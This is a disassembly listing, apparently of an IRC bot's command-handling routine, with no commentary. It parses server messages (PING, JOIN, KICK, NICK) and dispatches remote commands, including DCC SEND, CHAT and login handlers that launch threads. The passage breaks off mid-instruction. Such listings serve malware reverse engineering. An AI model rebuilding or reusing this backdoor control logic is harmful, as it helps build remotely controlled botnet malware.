var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch var_2E58 = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41EF80 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C0] push ebx push eax mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call sub_41E4B0 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41E510 add esp, 18h cmp [ebp+arg_0], ebx jz loc_4076C4 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41E4B0 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41E510 lea eax, [ebp+var_4488] push offset asc_43FB88 ; " :" push eax call sub_41EBB0 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41E510 lea eax, [ebp+var_4AF0] push offset asc_43FB8C ; " !" push eax call sub_41F870 xor edi, edi add esp, 34h inc edi mov [ebp+var_90], eax mov esi, edi loc_401D4E: ; CODE XREF: sub_401C87+DFj push 43FB8Eh push ebx call sub_41F870 mov [ebp+esi*4+var_90], eax inc esi pop ecx cmp esi, 20h pop ecx jl short loc_401D4E mov esi, [ebp+var_90] cmp esi, ebx jz loc_409C28 cmp [ebp+var_8C], ebx jz loc_409C28 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41E4B0 add esp, 0Ch push 1Fh pop edx loc_401D9A: ; CODE XREF: sub_401C87+147j lea ecx, [ebp+edx*4+var_90] mov eax, [ecx] cmp eax, ebx jz short loc_401DCD cmp byte ptr [eax], 2Dh jnz short loc_401DD0 cmp [eax+2], bl jnz short loc_401DD0 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401DCD: ; CODE XREF: sub_401C87+11Ej dec edx jns short loc_401D9A loc_401DD0: ; CODE XREF: sub_401C87+123j ; sub_401C87+128j cmp [ebp+var_8ED], bl jz short loc_401DDB mov [ebp+var_8], edi loc_401DDB: ; CODE XREF: sub_401C87+14Fj cmp [ebp+var_8F2], bl jz short loc_401DE9 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401DE9: ; CODE XREF: sub_401C87+15Aj cmp byte ptr [esi], 0Ah jz short loc_401E23 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41E510 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_41E510 lea eax, [ebp+var_C0] push 43FB90h push eax call sub_41F870 add esp, 20h loc_401E23: ; CODE XREF: sub_401C87+165j push esi push offset aPing ; "PING" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_401E74 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409C2F mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_409C28 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409C2F add esp, 10h jmp loc_409C28 ; --------------------------------------------------------------------------- loc_401E74: ; CODE XREF: sub_401C87+1ABj mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409BE7 push esi push offset a005 ; "005" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409BE7 push esi push offset a302 ; "302" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_401EE6 push offset a@ ; "@" push [ebp+var_84] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz loc_409C28 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41E510 add esp, 0Ch jmp loc_409C28 ; --------------------------------------------------------------------------- loc_401EE6: ; CODE XREF: sub_401C87+22Cj push esi push offset a433 ; "433" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_401F24 push ebx push ds:dword_43F0A4 push ds:dword_43F0A0 push [ebp+arg_10] call sub_40B38F push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409C2F add esp, 1Ch jmp loc_409C28 ; --------------------------------------------------------------------------- loc_401F24: ; CODE XREF: sub_401C87+26Ej mov esi, [ebp+arg_18] mov [ebp+var_2C8], 3 mov edi, 80h loc_401F36: ; CODE XREF: sub_401C87+2D4j lea eax, [ebp+var_E00] push eax push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_401F53 mov [ebp+var_A8], 1 loc_401F53: ; CODE XREF: sub_401C87+2C0j add esi, edi dec [ebp+var_2C8] jnz short loc_401F36 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40203F mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401F82: ; CODE XREF: sub_401C87+37Aj cmp [esi], bl jz short loc_401FFC push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41E510 add esp, 0Ch cmp [ebp+var_84], ebx jz short loc_401FFC push [ebp+var_84] lea eax, [ebp+var_C0] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_401FFC lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2C0] push offset unk_43FBE0 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409C2F lea eax, [ebp+var_2C0] push eax call sub_415A3C add esp, 20h loc_401FFC: ; CODE XREF: sub_401C87+2FDj ; sub_401C87+317j ... add esi, edi dec [ebp+arg_24] jnz loc_401F82 push [ebp+var_84] push [ebp+arg_10] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4076C4 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40202F: ; CODE XREF: sub_401C87+5EEj ; sub_401C87+886j ... push [ebp+arg_4] call sub_409C2F loc_402037: ; CODE XREF: sub_401C87+24F5j ; sub_401C87+2512j ... add esp, 10h jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_40203F: ; CODE XREF: sub_401C87+2EBj push esi push offset aNick ; "NICK" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_402187 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_402068: ; CODE XREF: sub_401C87+433j lea eax, [ebp+var_E00] push eax push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4020B5 lea eax, [ebp+var_E00] push 21h push eax call sub_41F720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_4020B5 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41F620 push [ebp+arg_1C] push edi call sub_41F630 add esp, 10h mov edi, 80h loc_4020B5: ; CODE XREF: sub_401C87+3F2j ; sub_401C87+409j add esi, edi dec [ebp+arg_0] jnz short loc_402068 cmp [ebp+arg_24], ebx jz loc_4076C4 push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4020EF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41E510 loc_4020E7: ; CODE XREF: sub_401C87+1BE6j add esp, 0Ch jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_4020EF: ; CODE XREF: sub_401C87+451j mov edi, [ebp+arg_18] xor esi, esi loc_4020F4: ; CODE XREF: sub_401C87+48Ej cmp [edi], bl jz short loc_40210B lea eax, [ebp+var_E00] push eax push edi call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_40211C loc_40210B: ; CODE XREF: sub_401C87+46Fj inc esi add edi, 80h cmp esi, 3 jl short loc_4020F4 jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_40211C: ; CODE XREF: sub_401C87+482j lea eax, [ebp+var_E00] push 21h push eax call sub_41F720 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_4076C4 push eax call sub_41BC70 push [ebp+arg_24] mov edi, eax call sub_41BC70 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_4076C4 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41EA60 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409C75 add esp, 24h jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_402187: ; CODE XREF: sub_401C87+3C7j push esi push offset aPart ; "PART" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4021A9 push esi push offset aQuit ; "QUIT" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_4021D6 loc_4021A9: ; CODE XREF: sub_401C87+50Fj mov edi, [ebp+arg_18] xor esi, esi loc_4021AE: ; CODE XREF: sub_401C87+547j cmp [edi], bl jz short loc_4021C4 push [ebp+var_90] push edi call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_402219 loc_4021C4: ; CODE XREF: sub_401C87+529j inc esi add edi, 80h cmp esi, 3 jl short loc_4021AE mov esi, [ebp+var_8C] loc_4021D6: ; CODE XREF: sub_401C87+520j push esi push offset a353 ; "353" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40227A push [ebp+var_80] push [ebp+arg_8] call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402205 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402205: ; CODE XREF: sub_401C87+573j push [ebp+var_80] push offset unk_43FC44 loc_40220D: ; CODE XREF: sub_401C87+2877j ; sub_401C87+2C2Fj ... call sub_415AB0 loc_402212: ; CODE XREF: sub_401C87+1B92j pop ecx loc_402213: ; CODE XREF: sub_401C87+590Fj pop ecx jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_402219: ; CODE XREF: sub_401C87+53Bj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset unk_43FC64 push eax call sub_41EA60 lea eax, [ebp+var_2C0] push eax call sub_415A3C push [ebp+var_8C] push offset aPart_0 ; "PART" call sub_41F7E0 add esp, 18h test eax, eax jnz loc_4076C4 lea eax, [ebp+var_2C0] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_40202F ; --------------------------------------------------------------------------- loc_40227A: ; CODE XREF: sub_401C87+55Ej push esi push offset aPrivmsg ; "PRIVMSG" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4022BD push esi push offset aNotice ; "NOTICE" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_4022BD push esi push offset a332 ; "332" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_409A67 cmp ds:dword_43F08C, ebx jz loc_409A67 loc_4022BD: ; CODE XREF: sub_401C87+602j ; sub_401C87+613j push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_402431 push esi push offset aNotice_0 ; "NOTICE" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_402431 mov eax, [ebp+var_84] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+var_88], eax loc_402300: ; CODE XREF: sub_401C87+864j ; sub_401C87+89Aj ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_90] mov eax, [edi] push eax push offset dword_43FCC4 mov [ebp+arg_8], eax call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4026D0 push [ebp+esi+var_8C] push offset aSend_1 ; "SEND" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_40259B cmp [ebp+var_A8], ebx jz loc_402571 push [ebp+esi+var_88] lea eax, [ebp+var_1B80] push offset aS_20 ; "%s" push eax call sub_41EA60 push [ebp+esi+var_84] lea eax, [ebp+var_1B94] push offset aS_21 ; "%s" push eax call sub_41EA60 push [ebp+esi+var_80] call sub_41E710 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41E510 mov eax, [ebp+var_4] mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C0] push offset unk_43FCDC push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 1Ah push eax call sub_40B691 add esp, 44h mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset sub_416B2D push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jz loc_402560 jmp loc_402556 ; --------------------------------------------------------------------------- loc_402431: ; CODE XREF: sub_401C87+645j ; sub_401C87+65Aj push esi push offset aNotice_1 ; "NOTICE" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402449 mov [ebp+var_4], 1 loc_402449: ; CODE XREF: sub_401C87+7B9j mov edi, [ebp+var_88] cmp edi, ebx jz loc_4076C4 push offset asc_43FD14 ; "#" push edi call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_40246D cmp [ebp+var_4], ebx jz short loc_402479 loc_40246D: ; CODE XREF: sub_401C87+7DFj lea edi, [ebp+var_C0] mov [ebp+var_88], edi loc_402479: ; CODE XREF: sub_401C87+7E4j cmp [ebp+var_84], ebx jz loc_4076C4 inc [ebp+var_84] jz short loc_4024C1 cmp [ebp+arg_10], ebx jz short loc_4024C1 lea eax, [ebp+var_338] push eax call sub_41BC70 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41F5E0 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax loc_4024C1: ; CODE XREF: sub_401C87+804j ; sub_401C87+809j mov eax, [ebp+var_A4] shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_90] cmp esi, ebx jz loc_4076C4 push esi push offset dword_43FD18 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_402300 cmp byte ptr [edi], 23h jz short loc_402512 mov eax, ds:dword_4E2E74 mov eax, ds:off_43F1DC[eax*4] cmp [eax], bl jz short loc_402512 push eax push edi push offset dword_43FD24 jmp loc_40202F ; --------------------------------------------------------------------------- loc_402512: ; CODE XREF: sub_401C87+86Dj ; sub_401C87+87Dj push esi push offset dword_43FD40 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_402300 mov eax, [ebp+arg_8] mov eax, [ebp+eax+var_8C] cmp eax, ebx jz loc_402300 cmp byte ptr [edi], 23h jz loc_402300 push eax push edi push offset dword_43FD48 jmp loc_40202F ; --------------------------------------------------------------------------- loc_40254E: ; CODE XREF: sub_401C87+8D5j push 32h call ds:dword_4F534C ; Sleep loc_402556: ; CODE XREF: sub_401C87+7A5j cmp [ebp+var_19EC], ebx jz short loc_40254E jmp short loc_402593 ; --------------------------------------------------------------------------- loc_402560: ; CODE XREF: sub_401C87+79Fj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_43FD60 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_402571: ; CODE XREF: sub_401C87+6C6j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset unk_43FDA0 push eax call sub_41EA60 add esp, 10h loc_402593: ; CODE XREF: sub_401C87+8D7j ; sub_401C87+A22j ... xor esi, esi inc esi jmp loc_406F42 ; --------------------------------------------------------------------------- loc_40259B: ; CODE XREF: sub_401C87+6BAj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_4026E6 cmp [ebp+var_A8], ebx jz loc_4026BF push 1Bh call sub_40B8D3 test eax, eax pop ecx jnz loc_4026AE push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS ; "%s" push eax call sub_41EA60 push [ebp+esi+var_80] call sub_41E710 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41E510 mov eax, [ebp+var_4] mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset unk_43FDF0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push 1Bh push eax call sub_40B691 add esp, 34h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset sub_4165C7 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_4026A1 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_43FE10 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_402699: ; CODE XREF: sub_401C87+A20j push 32h call ds:dword_4F534C ; Sleep loc_4026A1: ; CODE XREF: sub_401C87+9FFj cmp [ebp+var_2900], ebx jz short loc_402699 jmp loc_402593 ; --------------------------------------------------------------------------- loc_4026AE: ; CODE XREF: sub_401C87+945j lea eax, [ebp+var_C0] push eax push offset unk_43FE48 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_4026BF: ; CODE XREF: sub_401C87+935j lea eax, [ebp+var_C0] push eax push offset unk_43FE78 jmp loc_4085EB ; --------------------------------------------------------------------------- loc_4026D0: ; CODE XREF: sub_401C87+69Fj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, ds:byte_43F098 mov [edi], ecx jnz loc_4076C4 loc_4026E6: ; CODE XREF: sub_401C87+929j mov edi, [edi] push edi push offset aLogin ; "login" mov [ebp+arg_8], edi call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409A6F push edi push offset asc_43FEB2 ; "l" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409A6F cmp [ebp+var_A8], ebx jnz short loc_402737 push [ebp+var_8C] push offset a332_0 ; "332" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_409A67 loc_402737: ; CODE XREF: sub_401C87+A94j cmp [ebp+arg_28], ebx jnz loc_409A67 xor edi, edi cmp ds:dword_43FA40, ebx jle loc_4028E4 mov [ebp+arg_20], offset dword_455180 loc_402755: ; CODE XREF: sub_401C87+AEDj push [ebp+arg_8] push [ebp+arg_20] call 